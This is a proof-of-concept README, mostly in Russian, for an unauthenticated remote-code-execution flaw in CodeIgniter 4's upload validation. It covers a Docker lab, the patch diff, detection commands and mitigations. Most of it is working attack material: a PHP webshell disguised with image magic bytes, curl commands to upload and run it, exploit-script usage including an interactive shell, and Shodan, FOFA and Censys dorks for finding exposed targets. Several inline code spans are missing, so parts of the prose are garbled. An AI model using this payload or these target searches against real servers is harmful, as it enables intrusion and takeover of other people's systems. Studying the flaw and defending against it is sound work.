CVE-2026-63223 PoC — CodeIgniter 4 is_image/mime_in Загрузка файлов RCE (CVSS 9.8). Неаутентифицированное удалённое выполнение кода через обход неограниченной загрузки файлов с использованием магических байтов изображений. Исправлено в v4.7.4.
CVSS 9.8 (Критический) | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE-434: Неограниченная загрузка файла с опасным типом
Исправлено: CodeIgniter 4 v4.7.4
Уведомление: GHSA-mmj4-63m4-r6h5
Правила проверки загрузки файлов CodeIgniter 4 is_image и mime_in проверяют только MIME-тип, определяемый по содержимому (магические байты), а не расширение имени файла, переданное клиентом.
Неаутентифицированный злоумышленник может добавить магические байты изображения (GIF89a, \xFF\xD8\xFF\xE0, \x89PNG…) в начало PHP-вебшелла, назвать его , и он пройдёт проверку или , сохранив опасное исполняемое расширение. Когда загруженный файл сохраняется в каталоге, доступном через веб, злоумышленник получает .
shell.phpis_imagemime_inis_image или mime_in без независимой проверки расширения (ext_in).php)Исправление в v4.7.4 добавляет два новых вспомогательных метода и подключает их к правилам проверки:
is_image — До и после// BEFORE (vulnerable) — only checks MIME starts with "image/"
if (mb_strpos($type, 'image') !== 0) {
return false;
}
return true;
// AFTER (patched) — also checks extension is an image type
if (mb_strpos($type, 'image') !== 0) {
return false;
}
if ($this->hasInvalidImageClientExtension($file)) { // ← NEW
return false;
}
return true;
mime_in — До и после// BEFORE (vulnerable) — only checks MIME is in allowed list
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
return true;
// AFTER (patched) — also checks extension matches detected content
if (! in_array($file->getMimeType(), $params, true)) {
return false;
}
if ($this->hasMismatchedClientExtension($file)) { // ← NEW
return false;
}
return true;
// Rejects when non-empty client extension is NOT an image type
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
return mb_strpos($type, 'image') !== 0;
}
// Rejects when client extension doesn't match detected content type
private function hasMismatchedClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
if ($clientExtension === '') return false;
return $file->guessExtension() !== $clientExtension;
}
Ключевой вывод: Исправление делегирует выполнение существующим методам Mimes::guessTypeFromExtension() и $file->guessExtension(), добавляя второй уровень проверки. Загрузки без расширения (например, объекты JavaScript Blob) по-прежнему принимаются.
CVE-2026-63223-POC/
├── README.md ← this file
├── Dockerfile ← vulnerable lab setup
├── docker-compose.yml ← easy `docker compose up`
├── exploit/
│ └── exploit.py ← Python exploit script
└── vulnerable-app/
├── app/Controllers/Upload.php ← vulnerable controller
├── app/Config/Routes.php ← routing
└── app/Views/
├── upload_form_avatar.php ← is_image bypass form
├── upload_form_doc.php ← mime_in bypass form
└── upload_form_safe.php ← SAFE reference form
# Build & start the vulnerable app
docker compose up -d
# Verify it's running
curl http://localhost:8080/health
# → "CVE-2026-63223 PoC Lab — OK"
# Open in browser
open http://localhost:8080/upload/avatar
| Эндпоинт | Уязвимость | Проверка |
|---|---|---|
/upload/avatar | УЯЗВИМ | только is_image |
/upload/document | УЯЗВИМ | только mime_in |
/upload/safe | БЕЗОПАСЕН (контроль) | is_image + ext_in |
# Install dependency
pip install requests
# Single command execution
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --cmd "id"
# Interactive shell
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar --shell
# Using mime_in vector (with PDF in allowed list, but PHP still passes)
python3 exploit/exploit.py -t http://localhost:8080/upload/document --cmd "uname -a"
# Generate payload
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Verify it's recognized as an image by file(1)
file evil.php
# → evil.php: GIF image data
# Upload to vulnerable is_image endpoint
curl -F "[email protected];type=image/gif" http://localhost:8080/upload/avatar
# Execute
curl http://localhost:8080/uploads/evil.php?c=id
# JPEG variant (also passes is_image)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method jpg --filename wp-admin.php --cmd "ls -la /"
# PNG variant (also passes is_image, .phtml extension)
python3 exploit/exploit.py -t http://localhost:8080/upload/avatar \
--method png --filename config.phtml --shell
Суперглобальный массив PHP $_FILES и объект UploadedFile CodeIgniter содержат два отдельных фрагмента информации:
type / getMimeType() — получен из магических байтов файла (на основе содержимого), отправляется браузером как часть Content-Type multipart-загрузкиname / getClientName() — исходное имя файла от клиента, включая расширениеДо патча is_image и mime_in проверяли только #1. Злоумышленник отправляет:
Content-Disposition: form-data; name="avatar"; filename="shell.php"
Content-Type: image/gif
GIF89a
<?php system($_REQUEST['c']); ?>
is_image видит image/gif → проходитshell.php (имя клиента сохраняется).php-файлы в каталоге загрузок → RCEПосле патча расширение перекрёстно проверяется:
hasInvalidImageClientExtension() видит .php → отклоняетИщите файлы PHP/PHTML/PHP5 с магическими байтами изображений в каталоге загрузок:
# Find PHP files that start with image headers
find uploads/ -name "*.php" -exec file {} \; | grep -E '(GIF|JPEG|PNG) image'
# Or check raw bytes
xxd uploads/*.php | head
# CodeIgniter 4 default welcome page
http.title:"Welcome to CodeIgniter"
# CI4 debug toolbar (exposed in development mode)
http.html:"debugbar_loader"
# CI4 default cookie / session fingerprint
http.component:"CodeIgniter"
# CI4-powered apps with file upload endpoints
http.title:"CodeIgniter" http.html:"upload"
# Broad search — any CI4 instance
"CodeIgniter" "X-Powered-By: PHP"
# Default CodeIgniter 4 scaffold
body="CodeIgniter" && body="Welcome to"
# CI4 debug toolbar leaked (dev mode = more likely vulnerable)
body="debugbar_loader" && body="kint-rich"
# File upload forms on CI4
body="enctype=\"multipart/form-data\"" && body="CodeIgniter"
# CI4 session fingerprint in Set-Cookie
header="ci_session"
# Broad CI4 detection
app="CodeIgniter Framework"
# ZoomEye
app:"CodeIgniter" +"file upload"
# Censys
services.http.response.body:"Welcome to CodeIgniter"
ext_in вместе с is_image/mime_inreadfile()<Directory "/var/www/html/public/uploads">
php_admin_flag engine off
</Directory>
Этот PoC предназначен только для образовательных целей и авторизованного тестирования безопасности. Уязвимость была ответственно раскрыта и исправлена. Не используйте этот PoC против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения. Авторы не несут ответственности за неправомерное использование.